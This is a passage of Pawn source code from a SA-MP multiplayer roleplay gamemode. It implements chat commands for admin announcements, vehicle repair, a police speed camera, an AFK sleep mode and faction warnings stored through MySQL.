				if (PlayerInfo[playerid][pAdmin] <= 3)
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command");
					return 1;
				}
				if(PlayerInfo[playerid][pAdmin] == 7||PlayerInfo[playerid][pAdmin] == 8||PlayerInfo[playerid][pAdmin] == 9) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
				GetPlayerName(playerid, sendername, sizeof(sendername));
				new result[145];
				result = strtokEx(cmdtext, idx);
				if(!strlen(result))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /ServerNews <Text>");
					return 1;
				}
				if(PlayerInfo[playerid][pAdmin] == 9){format(string, sizeof(string), "{00ECEC}ServerNews From {19AF23}%s{FFFFFF}: {FFFF00}%s" , sendername, result);}
				else if(PlayerInfo[playerid][pAdmin] == 8){format(string, sizeof(string), "{00ECEC}ServerNews From {19AF23}%s{FFFFFF}: {FFFF00}%s" , sendername, result);}
				else if(PlayerInfo[playerid][pAdmin] == 7){format(string, sizeof(string), "{00ECEC}ServerNews From {19AF23}%s{FFFFFF}: {FFFF00}%s" , sendername, result);}
				else if(PlayerInfo[playerid][pAdmin] == 10){format(string, sizeof(string), "{00ECEC}ServerNews From {19AF23}%s{FFFFFF}: {FFFF00}%s" , sendername, result);}
				else {format(string, sizeof(string), "{00ECEC}ServerNews From {19AF23}%s{FFFFFF}: {FFFF00}%s" , sendername, result);}
				OOCOff(COLOR_AdminWarn,string);
				printf("%s", string);
			}
			return 1;
		}
		*/
		/*
		if(strcmp(cmd, "/Update", true) == 0 || strcmp(cmd, "/ServerUpdate", true) == 0)
		{
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
			if(IsPlayerConnected(playerid))
			{
				if(gPlayerLogged[playerid] == 0)
				{
					SendMessage(playerid, COLOR_RED, "Not loggened in!");
					return 1;
				}
				if (PlayerInfo[playerid][pAdmin] <= 11)
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command");
					return 1;
				}
				GetPlayerName(playerid, sendername, sizeof(sendername));
				new result[145];
				result = strtokEx(cmdtext, idx);
				if(!strlen(result))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /ServerUpdate <Text>");
					return 1;
				}
				if(PlayerInfo[playerid][pAdmin] == 9){format(string, sizeof(string), "{FF0000}[{FFFF00}Server-Update{FF0000}]{FFFFFF}: {00ECEC}%s{FFFFFF}: {C60000}%s" , sendername, result);}
				else if(PlayerInfo[playerid][pAdmin] == 8){format(string, sizeof(string), "{FF0000}[{FFFF00}Server-Update{FF0000}]{FFFFFF}: {00ECEC}%s{FFFFFF}: {C60000}%s" , sendername, result);}
				else if(PlayerInfo[playerid][pAdmin] == 7){format(string, sizeof(string), "{FF0000}[{FFFF00}Server-Update{FF0000}]{FFFFFF}: {00ECEC}%s{FFFFFF}: {C60000}%s" , sendername, result);}
				else if(PlayerInfo[playerid][pAdmin] == 10){format(string, sizeof(string), "{FF0000}[{FFFF00}Server-Update{FF0000}]{FFFFFF}: {00ECEC}%s{FFFFFF}: {C60000}%s" , sendername, result);}
				else {format(string, sizeof(string), "{FF0000}[{FFFF00}Server-Update{FF0000}]{FFFFFF}: {00ECEC}%s{FFFFFF}: {C60000}%s" , sendername, result);}
				OOCOff(COLOR_AdminWarn,string);
				printf("%s", string);
			}
			return 1;
		}
		*/
		/*
		if(strcmp(cmd, "/serversay", true) == 0 || strcmp(cmd, "/ss", true) == 0)
		{
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
			if(IsPlayerConnected(playerid))
			{
				if(gPlayerLogged[playerid] == 0)
				{
					SendMessage(playerid, COLOR_RED, "Not loggened in!");
					return 1;
				}
				if (PlayerInfo[playerid][pAdmin] <= 11)
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command");
					return 1;
				}
				GetPlayerName(playerid, sendername, sizeof(sendername));
				new result[145];
				result = strtokEx(cmdtext, idx);
				if(!strlen(result))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /ServerSay <Text>");
					return 1;
				}
				if(PlayerInfo[playerid][pAdmin] == 9){format(string, sizeof(string), "{FF00FF}[{6666FF}Server{FF00FF}]{FFFFFF}: {FF0000}%s{00FF00} Goft{FFFFFF}: {00FF00}%s" , sendername, result);}
				else if(PlayerInfo[playerid][pAdmin] == 8){format(string, sizeof(string), "{FF00FF}[{6666FF}Server{FF00FF}]{FFFFFF}: {FF0000}%s{00FF00} Goft{FFFFFF}: {00FF00}%s" , sendername, result);}
				else if(PlayerInfo[playerid][pAdmin] == 7){format(string, sizeof(string), "{FF00FF}[{6666FF}Server{FF00FF}]{FFFFFF}: {FF0000}%s{00FF00} Goft{FFFFFF}: {00FF00}%s" , sendername, result);}
				else if(PlayerInfo[playerid][pAdmin] == 10){format(string, sizeof(string), "{FF00FF}[{6666FF}Server{FF00FF}]{FFFFFF}: {FF0000}%s{00FF00} Goft{FFFFFF}: {00FF00}%s" , sendername, result);}
				else {format(string, sizeof(string), "{FF00FF}[{6666FF}Server{FF00FF}]{FFFFFF}: {FF0000}%s{00FF00} Goft{FFFFFF}: {00FF00}%s" , sendername, result);}
				OOCOff(COLOR_AdminWarn,string);
				printf("%s", string);
			}
			return 1;
		}
*/
	// Ts All
	/*
		if(strcmp(cmd, "/tsa", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(gPlayerLogged[playerid] == 0)
				{
					SendMessage(playerid, COLOR_RED, "Not loggened in!");
					return 1;
				}
				if (PlayerInfo[playerid][pAdmin] >= 10)
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
					return 1;
				}
				GetPlayerName(playerid, sendername, sizeof(sendername));
				new result[145];
				result = strtokEx(cmdtext, idx);

				format(string, sizeof(string), "{00ECEC}Team Speak IP {FFFFFF}: {BBF060}Ts.Modern-Life.iR {FF0000}|| {BBF060}Modern-Life.iR" , sendername, result);
				OOCOff(COLOR_LIGHTRED,string);
				printf("%s", string);
			}
			return 1;
		}
		if(strcmp(cmd, "/foruma", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(gPlayerLogged[playerid] == 0)
				{
					SendMessage(playerid, COLOR_RED, "Not loggened in!");
					return 1;
				}
				if (PlayerInfo[playerid][pAdmin] <= 3)
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
					return 1;
				}
				GetPlayerName(playerid, sendername, sizeof(sendername));
				new result[145];
				result = strtokEx(cmdtext, idx);

				format(string, sizeof(string), "{00ECEC}Forum Address {FFFFFF}: {BBF060}Forum.Modern-Life.iR" , sendername, result);
				OOCOff(COLOR_LIGHTRED,string);
				printf("%s", string);
			}
			return 1;
		}
				if(strcmp(cmd, "/ucpa", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(gPlayerLogged[playerid] == 0)
				{
					SendMessage(playerid, COLOR_RED, "Not loggened in!");
					return 1;
				}
				if (PlayerInfo[playerid][pAdmin] >= 10)
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
					return 1;
				}
				GetPlayerName(playerid, sendername, sizeof(sendername));
				new result[145];
				result = strtokEx(cmdtext, idx);

				format(string, sizeof(string), "{00ECEC}UCP Address {FFFFFF}: {BBF060}UCP.Modern-Life.iR" , sendername, result);
				OOCOff(COLOR_LIGHTRED,string);
				printf("%s", string);
			}
			return 1;
		}
		if(strcmp(cmd, "/telea", true) == 0 || strcmp(cmd, "/telegrama", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(gPlayerLogged[playerid] == 0)
				{
					SendMessage(playerid, COLOR_RED, "Not loggened in!");
					return 1;
				}
				if (PlayerInfo[playerid][pAdmin] >= 10)
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
					return 1;
				}
				GetPlayerName(playerid, sendername, sizeof(sendername));
				new result[145];
				result = strtokEx(cmdtext, idx);

				format(string, sizeof(string), "{00ECEC}ID Channel Telegram {FFFFFF}: {BBF060}@MDL_Samp" , sendername, result);
				OOCOff(COLOR_LIGHTRED,string);
				printf("%s", string);
			}
			return 1;
		}

	   */
	// Admin am Kon
		// done

			if(strcmp(cmd, "/fixveh", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pAdmin] < 6 && PlayerInfo[playerid][pSponser] == 0)
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
					return 1;
				}
				if(IsPlayerInAnyVehicle(playerid))
				{
				new para1;
			   para1 = ReturnUser6(tmp);
			 GetPlayerName(para1, giveplayer, sizeof(giveplayer));
			 GetPlayerName(playerid, sendername, sizeof(sendername));
					RepairVehicle(GetPlayerVehicleID(playerid));
					new carid = GetPlayerVehicleID(playerid)
					//SendMessage(playerid, COLOR_LIGHTBLUE, "Vehicle Fixed.");
				format(string, 256, "[Admin-Warn]: {FFFFFF}Admin %s fixed vehicleid %d.", sendername, carid);
					ABroadCast(COLOR_AdminWarn,string,1);
				}
			}
			return 1;
		}

		if(strcmp(cmd, "/speedc", true) == 0)
	{
	if(!IsAPDMember(playerid)) return SCM(playerid,COLOR_BLUE,"You are not a Police Department.");
	if(OnDuty[playerid] != 1) return SCM(playerid,COLOR_BLUE,"You are not On-Duty.");
	new newcar = GetPlayerVehicleID(playerid);
	if(IsACopCar(newcar))
	{
	if(OnSpeedc[playerid] == 0)
	{
	if(EngineSTATE[newcar] == 0)
	{
	tmp = strtok(cmdtext, idx);
			if(!strlen(tmp))
			{
				SendClientMessage(playerid, COL_SYN, "Syntax: /speedc <MaxSpeed>");
				return 1;
			}
			new speed;
			speed = strval(tmp);
	if(speed < 90 || speed > 230)
	{
	SCM(playerid,COLOR_SINA3,"Error: Use a MaxSpeed between 90 and 230");
	return 1;
	}
	SCM(playerid,COLOR_SINA3,"Speed Camera {FFFFFF}Enabled, use /engine to disable it or leave the car.");
	OnSpeedc[playerid] = 1;
	SpeedTimer[playerid] = SetTimerEx("speedcheck",1000,1,"ii",playerid,speed);
	SpeedTimerUsed[playerid] = true;
	}
	else
	{
	return SCM(playerid,COLOR_SINA3,"First Engine off your vehicle.");
	}
	}
	else
	{
	return SCM(playerid,COLOR_SINA3,"You already on speed camera system.");
	}
	}
	else
	{
	return SCM(playerid,COLOR_SINA3,"You are not in a Cop Car.");
	}
	return 1;
	}
		//--------------------------- Away from keyboard -------------------------------
		if(strcmp(cmd,"/sleep",true) == 0)
		{
			if(EventPlayer[playerid] == 1)
			{
			SCM(playerid, COLOR_YELLOW2, "Error: You can't sleep because you're in event.");
			return 1;
			}
			if(AutoSleepZade[playerid] == 0 && TooHouse[playerid] == 9999) return SCM(playerid, COLOR_SINA3, "You are not at home.");
			if(AutoSleepZade[playerid] == 1 && TooHouse[playerid] == 9999) return 1;
				if(InSleep[playerid] == 0)
				{
						if(GetPlayerWantedLevel(playerid) >= 1)
						{
						   SCM(playerid, COLOR_LIGHTRED, "You can not sleep, because you have wanted.");
						   return 1;
						}
						GetPlayerHealth(playerid, SleepHealth[playerid]);
					  if(sleepee[playerid] == 0)
					  {
						sleepee[playerid] = 1;
						sleepgod[playerid] = SetTimerEx("sleepgodd", 300, true, "d", playerid);
					  }
						AFK[playerid] = 1;
						oldColor[playerid] = GetPlayerColor(playerid);
						TogglePlayerControllable(playerid, 0);
						InSleep[playerid] = 1;
						SetPlayerColor(playerid,COLOR_AFK);
						LoopingAnim(playerid,"CRACK","crckidle2",4.0,0,0,0,1,0);
			            new autosleepz = 0;
			            if(PINFO[playerid][pAutoS] == 0) autosleepz = 0;
			            if(PINFO[playerid][pAutoS] == 1) autosleepz = 1;
			            if(autosleepz == 0) SCM(playerid, COLOR_WHITE, "Autosleep feature is disabled. If you enable this feature, after you connect, you will sleep automatically.");
			            if(autosleepz == 1) SCM(playerid, COLOR_WHITE, "Autosleep feature is enabled. If you connect again to server, you will sleep automatically.");
						SendMessage(playerid, COLOR_WHITE, "INFO: You can leave your character AFK and when you come back type again /sleep.");
						PlayerInfo[playerid][pOnline] = 2;
						SaveKonVal(playerid, "pOnline", 2);
						new query[500];
						mysql_format(handle, query, 500, "UPDATE `friends` SET pOnline='2' WHERE pFriend='%e'",PINFO[playerid][pName]);
						mysql_tquery(handle, query, "SendQuery", "");
				}
				else
				{
					if(InSleep[playerid] == 1)
					{
						TogglePlayerControllable(playerid,1);
						LoopingAnim(playerid, "SUNBATHE", "Lay_Bac_out", 4.0, 0, 0, 0, 0, 0);
						SetPlayerColor(playerid,oldColor[playerid]);
						SendMessage(playerid, COLOR_WHITE, "INFO: You are back and ready to play. Have fun !");
						PlayerInfo[playerid][pOnline] = 1;
						SaveKonVal(playerid, "pOnline", 1);
						//SetPlayerKoon(true, playerid, 100);
						SetPlayerKoon(true, playerid, SleepHealth[playerid]);
						new query[500];
						mysql_format(handle, query, 500, "UPDATE `friends` SET pOnline='1' WHERE pFriend='%e'",PINFO[playerid][pName]);
						mysql_tquery(handle, query, "SendQuery", "");
						AFK[playerid] = 0;
						InSleep[playerid] = 0;

						return 1;
					}
				}
			return 1;
		}
		/*
		if(strcmp(cmd, "/givecard", true) == 0)
		{
		if(PINFO[playerid][pAdmin] < 6) return SendMessage(playerid, COLOR_YELLOW2, "Error: You are not authorized to use this command.");
		tmp = strtok(cmdtext, idx);
		if(!strlen(tmp))
		{
			SendMessage(playerid, COL_SYN, "Syntax: /givecard <Playerid/PartOfName>");
			return 1;
		}
		new para1;
		para1 = ReturnUser6(tmp);
		new isx;
		if(PINFO[para1][pSoldier] != 0) {
		isx = 1;
		}
		else {
		isx = 0;
		}
		//PINFO[para1][pSoldier] = 0;
		//SaveKonVal(para1, "pSoldier", 0);
		//PINFO[para1][pCard] = 1;
		//SaveKonVal(para1, "pCard", 1);
//		new string[512];
		format(string, sizeof(string), "{FFFFFF}%s gots finish soldier card by admin %s.",PINFO[para1][pName],PINFO[playerid][pName]);
		AdminWarn(string);
		format(string, sizeof(string), "Admin %s given you a finish soldier card.",PINFO[playerid][pName]);
		SCM(para1, COLOR_WHITE, string);
		if(isx == 1) {
		MedicBill[para1] = 0;
		ResetPlayerKolang(para1);
		SetSpawnKol(para1);
		SpawnPlayer(para1);
		}
		return 1;
		}
		*/
		/*
		if(strcmp(cmd, "/soldiers", true) == 0)
		{
		if(PINFO[playerid][pLeader] != 21 && PINFO[playerid][pLeader] != 3) return SCM(playerid, COLOR_SSH, "You are not soldiership leader.");
		new strlol[2000],strlol2[512],w;
			for(new i = 0;i<Akharish;i++)
			{
				if(IsPlayerConnected(i) && PINFO[i][pSoldier] > 0)
				{
			new Float:x, Float:y, Float:z;
			GetPlayerPos(i, x, y, z);
			new Float: pDistance = GetPlayerDistanceFromPoint(playerid, x, y, z);
			floatround(pDistance, floatround_round);
			new zonename[256];
					GetPlayerZoneName(i, zonename, 256)
					format(strlol2, sizeof(strlol2),"%s(%i) Location(%s) Distance(%f) Days(%d) \n",PINFO[i][pName],i,zonename,pDistance,PINFO[i][pSoldier]);
					strcat(strlol, strlol2, 2000);
					WDLG[playerid][w] = i;
					w ++;
				}
			}
			if(w == 0) return SCM(playerid, COLOR_SSH, "There is no soldier online.");
			ShowPlayerDialog(playerid, 78700, DIALOG_STYLE_LIST, "[Soldiers]", strlol, "Close", "");
		return 1;
		}
		*/
		/*
		if(strcmp(cmd, "/jail", true) == 0)
		{
		if(PINFO[playerid][pLeader] != 21 && PINFO[playerid][pLeader] != 3) return SCM(playerid, COLOR_SSH, "You are not soldiership leader.");
		tmp = strtok(cmdtext, idx);
		if(!strlen(tmp))
		{
			SendMessage(playerid, COL_SYN, "Syntax: /jail <Playerid/PartOfName>");
			return 1;
		}
		new para1;
		para1 = ReturnUser6(tmp);
		if(PINFO[para1][pSoldier] == 0) return SCM(playerid, COLOR_SINA3, "That player is not a soldier.");
		PINFO[para1][pJailTime] += 200;
		SaveKonVal(para1, "pJailTime", PINFO[para1][pJailTime]);
		MedicBill[para1] = 0;
		ResetPlayerKolang(para1);
		SpawnPlayer(para1);
//		new string[512];
		format(string, sizeof(string), "[BASE]: Leader %s jailed soldier %s for 200 seconds.",PINFO[playerid][pName],PINFO[para1][pName]);
		SendSolMessage(COLOR_SSH, string);
		format(string, sizeof(string), "Leader %s jailed you for 200 seconds.",PINFO[para1][pName]);
		SCM(para1, COLOR_SSH, string);
		return 1;
		}
		*/
		/*
		if(strcmp(cmd, "/allowgun", true) == 0)
		{
		if(PINFO[playerid][pLeader] != 21 && PINFO[playerid][pLeader] != 3) return SCM(playerid, COLOR_SSH, "You are not soldiership leader.");
		if(GetGunA == 0) {
		GetGunA = 1;
		SendSolMessage(COLOR_SSH, "[BASE]: Get gun allow enabled.");
		return 1;
		}
		if(GetGunA == 1) {
		GetGunA = 0;
		SendSolMessage(COLOR_SSH, "[BASE]: Get gun allow disabled.");
		return 1;
		}
		return 1;
		}
		*/
		/*
		if(strcmp(cmd, "/radar", true) == 0)
		{
		if(PINFO[playerid][pLeader] != 21 && PINFO[playerid][pLeader] != 3 && PINFO[playerid][pSoldier] == 0) return SCM(playerid, COLOR_SSH, "You are not a soldier.");
		if(!PTP(5.0, playerid, 1217.404541,767.701293,15.033952)) return SCM(playerid, COLOR_SSH, "You are not in radar place.");
		RadarSS[playerid] = 1;
		RadarTimer[playerid] = SetTimerEx("radarchecker",3000,1,"i",playerid);
//		new string[512];
		format(string, sizeof(string), "[BASE]: Soldier %s turned on radar.",PINFO[playerid][pName]);
		SendSolMessage(COLOR_SSH, string);
		SCM(playerid, COLOR_SSH, "Radar turned on.");
		SCM(playerid, COLOR_SSH, "Go out of radar place to turn off that.");
		return 1;
		}
		*/
		/*
		if(strcmp(cmd, "/joinsoldier", true) == 0)
		{
		if(PTP(3.0, playerid, 235.418899,74.335296,1005.039062)) {
		if(PINFO[playerid][pCard] == 1) return SCM(playerid, COLOR_SSH, "You already have soldier finish card.");
		if(PINFO[playerid][pSoldier] != 0) return SCM(playerid, COLOR_SSH, "You already are in the soldiership.");
		PINFO[playerid][pCard] = 3;
		SaveKonVal(playerid, "pCard", 3);
		PINFO[playerid][pSoldier] = 7;
		SaveKonVal(playerid, "pSoldier", 7);
		PlayerInfo[playerid][cSkin] = 285;
		SaveKonVal(playerid, "cSkin", 285);
		SendMessage(playerid, COLOR_WHITE, string);
		SetPlayerSkin(playerid, PINFO[playerid][cSkin]);
		SetPlayerInterior(playerid, 0);
		SetPlayerVirtualWorld(playerid, 0);
//		new string[512];
		format(string, sizeof(string), "[BASE]: %s joined to the soldiership.",PINFO[playerid][pName]);
		SendSolMessage(COLOR_SSH, string);
		SCM(playerid, COLOR_SSH, "You joined to the soldiership. you should play for 7 hours to finish it.");
		MedicBill[playerid] = 0;
		ResetPlayerKolang(playerid);
		SetSpawnKol(playerid);
		SpawnPlayer(playerid);
		}
		else {
		SCM(playerid, COLOR_SSH, "You are not near of the get card location.");
		}
		return 1;
		}
		*/
		/*
		if(strcmp(cmd, "/getgun", true) == 0)
		{
		if(PINFO[playerid][pSoldier] == 0 && PINFO[playerid][pLeader] != 21) return SCM(playerid, COLOR_SSH, "You are not a soldier or soldiership leader.");
		if(GetGunA == 0) return SCM(playerid, COLOR_SSH, "Get gun disabled by leader.");
		if(PTP(3.0, playerid, 1306.528564,734.602722,10.820312)) {
		GivePlayerKolang(playerid, 30, 2000);
		GivePlayerKolang(playerid, 31, 2000);
		if(PINFO[playerid][pSoldier] == 21) {GivePlayerKolang(playerid, 35, 2000);}
		GivePlayerKolang(playerid, 24, 2000);
		GivePlayerKolang(playerid, 4, 2000);
		GivePlayerKolang(playerid, 43, 2000);
		}
		return 1;
		}
		*/
		/*
		if(strcmp(cmd, "/dpunish", true) == 0)
		{
		if(PINFO[playerid][pLeader] != 21 && PINFO[playerid][pLeader] != 3) return SendMessage(playerid, COLOR_YELLOW, "Only soldiership and national guard leaders can use this command.");
		tmp = strtok(cmdtext, idx);
		if(!strlen(tmp))
		{
			SendMessage(playerid, COL_SYN, "Syntax: /dpunish <Playerid/PartOfName>");
			return 1;
		}
		new para1;
		para1 = ReturnUser6(tmp);
		tmp = strtok(cmdtext, idx);
		if(para1 == playerid)
		{
		SCM(playerid,COLOR_SINA3,"You cannot punish your self.");
		return 1;
		}
		if(!IsPlayerConnected(para1)) return SCM(playerid, COLOR_SINA3, "That player is not connected.");
		if(PINFO[para1][pSoldier] == 0) return SCM(playerid, COLOR_SINA3, "That player is not in soldiership.");
		PINFO[para1][pSoldier] -= 1;
		SaveKonVal(para1, "pSoldier", PINFO[para1][pSoldier]);
//		new string[512];
		format(string, sizeof(string), "You have been deleted punish by leader %s 1.",PINFO[playerid][pName]);
		SCM(para1, COLOR_SSH, string);
		format(string, sizeof(string), "Leader %s deleted punish from soldier %s.",PINFO[playerid][pName],PINFO[para1][pName]);
		SendSolMessage(COLOR_SSH, string);
		return 1;
		}
		*/
		/*
		if(strcmp(cmd, "/addpunish", true) == 0)
		{
		if(PINFO[playerid][pLeader] != 21 && PINFO[playerid][pLeader] != 3) return SendMessage(playerid, COLOR_YELLOW, "Only soldiership and national guard leaders can use this command.");
		tmp = strtok(cmdtext, idx);
		if(!strlen(tmp))
		{
			SendMessage(playerid, COL_SYN, "Syntax: /addpunish <Playerid/PartOfName>");
			return 1;
		}
		new para1;
		para1 = ReturnUser6(tmp);
		tmp = strtok(cmdtext, idx);
		if(para1 == playerid)
		{
		SCM(playerid,COLOR_SINA3,"You cannot punish your self.");
		return 1;
		}
		if(!IsPlayerConnected(para1)) return SCM(playerid, COLOR_SINA3, "That player is not connected.");
		if(PINFO[para1][pSoldier] == 0) return SCM(playerid, COLOR_SINA3, "That player is not in soldiership.");
		PINFO[para1][pSoldier] += 1;
		SaveKonVal(para1, "pSoldier", PINFO[para1][pSoldier]);
//		new string[512];
		format(string, sizeof(string), "You have been punished by leader %s for 1 day.",PINFO[playerid][pName]);
		SCM(para1, COLOR_SSH, string);
		format(string, sizeof(string), "Leader %s punished soldier %s for 1 day.",PINFO[playerid][pName],PINFO[para1][pName]);
		SendSolMessage(COLOR_SSH, string);
		return 1;
		}
		*/

	//----------------------------------[FACTION-WARN]----------------------------------------------
	if(strcmp(cmd, "/fw", true) == 0 || strcmp(cmd, "/factionwarn", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PINFO[playerid][pLeader] == 7) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
				if (PlayerInfo[playerid][pLeader] >= 1 || PlayerInfo[playerid][pRank] >= 6)
				{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /f(action)w(arn) <Playerid/PartOfName>");
					return 1;
				}
				new para1;
				para1 = ReturnUser6(tmp);
				tmp = strtok(cmdtext, idx);
				if(para1 == playerid)
				{
				SCM(playerid,COLOR_SINA3,"You cannot fwarned your self.");
				return 1;
				}
					if (PlayerInfo[playerid][pLeader] >= 1)
				   {
					if(PlayerInfo[playerid][pAdmin]==7||PlayerInfo[playerid][pAdmin]==8||PlayerInfo[playerid][pAdmin]==9)
					{
					SendClientMessage(playerid, COLOR_YELLOW2, "Error:{FF0000} You can't give fw any players because you are hoster.");
					return 1;
			}
	   }
					if(IsPlayerConnected(para1))
					{
						if(para1 != INVALID_PLAYER_ID)
						{
							if(PlayerInfo[para1][pLeader] == 0)
							{
								if(PlayerInfo[para1][pMember] >= 1 && (PlayerInfo[playerid][pLeader] == PlayerInfo[para1][pMember] || (PlayerInfo[playerid][pMember] >= 1 && PlayerInfo[playerid][pRank] >= 6 && PlayerInfo[playerid][pMember] == PlayerInfo[para1][pMember])))
								{
								if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
								new famil;
								if(PlayerInfo[playerid][pMember]) { famil = PlayerInfo[playerid][pMember]; }
								else { famil = PlayerInfo[playerid][pLeader]; }
									GetPlayerName(para1, giveplayer, sizeof(giveplayer));
									GetPlayerName(playerid, sendername, sizeof(sendername));
									PlayerInfo[para1][pFwarn] = PlayerInfo[para1][pFwarn] + 1;
									SaveKonVal(para1, "pFwarn", PINFO[para1][pFwarn]);
									format(string, sizeof(string), "You have been FactionWarned by Leader %s", sendername);
									SendMessage(para1, COLOR_LIGHTRED, string);
									format(string, sizeof(string), "You have FactionWarned %s.", giveplayer);
									SendMessage(playerid, COLOR_LIGHTRED, string);
									new year, month,day;
									getdate(year, month, day);
									format(string, sizeof(string), "%s have been warned %s in faction id %d (%d-%d-%d)",sendername,giveplayer,famil,month,day,year);
									//FactionLog(string);
									if(PlayerInfo[para1][pFwarn] >= 3)
									{
										PlayerInfo[para1][pPunish] = 60;
										SaveKonVal(para1, "pPunish", 60);
										//printf("AdmCmd: %s kicked from Family/faction because had 3 fwarns.", sendername, giveplayer);
										SendMessage(para1, COLOR_LIGHTBLUE, "* You have been kicked from a Family / faction because you had 3 fwarns.");
										SendMessage(para1, COLOR_LIGHTBLUE, "* You are now a Civilian again.");
										new query[512];
										mysql_format(handle, query, 512, "UPDATE `users` SET pDFaction='0' WHERE pName='%e'",PINFO[para1][pName]);
										mysql_tquery(handle, query, "SendQuery", "");
										//gTeam[para1] = TEAM_CIV;
										PlayerInfo[para1][pTeam] = TEAM_CIV;
										SaveKonVal(para1, "pTeam", TEAM_CIV);
										PlayerInfo[para1][pMember] = 0;
										SaveKonVal(para1, "pMember", 0);
										PlayerInfo[para1][pRank] = 0;
										SaveKonVal(para1, "pRank", 0);
										PlayerInfo[para1][pFwarn] = 0;
										SaveKonVal(para1, "pFwarn", 0);
										PlayerInfo[para1][fSkin] = 170;
										ResetActivities(para1);
										MedicBill[para1] = 0;
										ResetPlayerKolang(para1);
										SetSpawnKol(para1);
										SpawnPlayer(para1);
										format(string, sizeof(string), "%s have been kicked from faction  id %d because have had 3 fwarns (%d-%d-%d)",giveplayer,famil,month,day,year);
										//FactionLog(string);

										new Member[64];
										if(PlayerInfo[playerid][pLeader] == 0) {
										format(Member, sizeof(Member), "%d",PlayerInfo[playerid][pMember]);
										}
										else {
										format(Member, sizeof(Member), "%d",PlayerInfo[playerid][pLeader]);
										}

										new reas[70];
										format(reas, sizeof(reas), "%s",PINFO[playerid][pName]);
										AddLog(PINFO[para1][pName], Member, "Received a faction warn", reas, 3);

									}
									//else {
									//if(PINFO[playerid][pLeader] == 21) {
									//PINFO[para1][pSoldier] += 1;
									//SaveKonVal(para1, "pSoldier", PINFO[para1][pSoldier]);
									//}
									//}
								}
								else
								{
									SendMessage(playerid, COLOR_GRAD2, "This player isn't in your faction.");
								}
							}
							else
							{
								SendMessage(playerid, COLOR_GRAD2, "You cannot fwarn the leader.");
							}
						}
					}
					else
					{
					SCM(playerid,COLOR_WHITE,"Player not connected.");
					return 1;
					}
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW, "Error: Only leaders can use this command.");
					return 1;
				}
			}
			return 1;
		}

		if(strcmp(cmd, "/fuw", true) == 0 || strcmp(cmd, "/factionunwarn", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
			if(PINFO[playerid][pLeader] == 7) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
			if (PlayerInfo[playerid][pLeader] >= 1 || PINFO[playerid][pRank] >= 6)
				{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /f(action)u(n)w(arn) <Playerid/PartOfName>");
					return 1;
				}
				new para1;
				para1 = ReturnUser6(tmp);
				tmp = strtok(cmdtext, idx);
				if(para1 == playerid)
				{
				SCM(playerid,COLOR_SINA3,"You cannot unfwarn your self.");
				return 1;
				}
				if (PlayerInfo[playerid][pLeader] >= 1)
				   {
					if(PlayerInfo[playerid][pAdmin]==7||PlayerInfo[playerid][pAdmin]==8||PlayerInfo[playerid][pAdmin]==9)
					{
					SendClientMessage(playerid, COLOR_YELLOW2, "Error:{FF0000} You can't give unfw any players because you are hoster.");
					return 1;
			}
	   }
					if(IsPlayerConnected(para1))
					{
						if(para1 != INVALID_PLAYER_ID)
						{
							if(PlayerInfo[para1][pLeader] == 0)
							{
								if(PlayerInfo[para1][pMember] >= 1 && (PlayerInfo[playerid][pLeader] == PlayerInfo[para1][pMember] || (PINFO[playerid][pMember] >= 1 && PINFO[playerid][pRank] >= 6 && PINFO[playerid][pMember] == PlayerInfo[para1][pMember])))
								{
								if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
								new famil;
								if(PlayerInfo[playerid][pMember]) { famil = PlayerInfo[playerid][pMember]; }
								else { famil = PlayerInfo[playerid][pLeader]; }
									GetPlayerName(para1, giveplayer, sizeof(giveplayer));
									GetPlayerName(playerid, sendername, sizeof(sendername));
									PlayerInfo[para1][pFwarn] = PlayerInfo[para1][pFwarn] -= 1;
									SaveKonVal(para1, "pFwarn", PINFO[para1][pFwarn]);
									format(string, sizeof(string), "You have been UnFactionWarned by Leader %s", sendername);
									SendMessage(para1, COLOR_LIGHTRED, string);
									format(string, sizeof(string), "You have UnFactionWarned %s, now you have %d factionwarn.", giveplayer,PlayerInfo[playerid][pFwarn]);
									SendMessage(playerid, COLOR_LIGHTRED, string);
									new year, month,day;
									getdate(year, month, day);
